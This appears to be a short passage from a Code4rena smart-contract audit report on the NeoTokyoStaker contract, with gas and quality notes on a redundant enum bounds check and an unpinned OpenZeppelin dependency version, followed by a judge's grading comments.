function equal(string memory a, string memory b) internal pure returns (bool) { return keccak256(bytes(a)) == keccak256(bytes(b)); }
FALSE
The compiler automatically adds checks for the correctness of data transmission. on we transfer a number that is reduced to ENUM, and will not allow the transfer of a number greater than the limit. Therefore, this condition will never be fulfilled due to the check that will be added to the bytecode by the compiler
contracts/staking/NeoTokyoStaker.sol 1205: if (uint8(_assetType) > 4) { 1206: revert InvalidAssetType(uint256(_assetType)); 1207: } 1668: if (.... || uint8(_assetType) > 4) { 1669: revert InvalidAssetType(uint256(_assetType)); 1670: }
package.json 23: "@openzeppelin/contracts": "^4.3.1",
At the moment, the latest version is 4.8.2, which includes various bug fixes and major optimizations Using a non-fixed version can also cause the bytecode of the deployed contract to differ from what is in the repository
#0 - c4-judge
2023-03-17T03:02:27Z
hansfriese marked the issue as grade-b
#1 - c4-judge
2023-03-28T05:20:32Z
hansfriese marked the issue as grade-a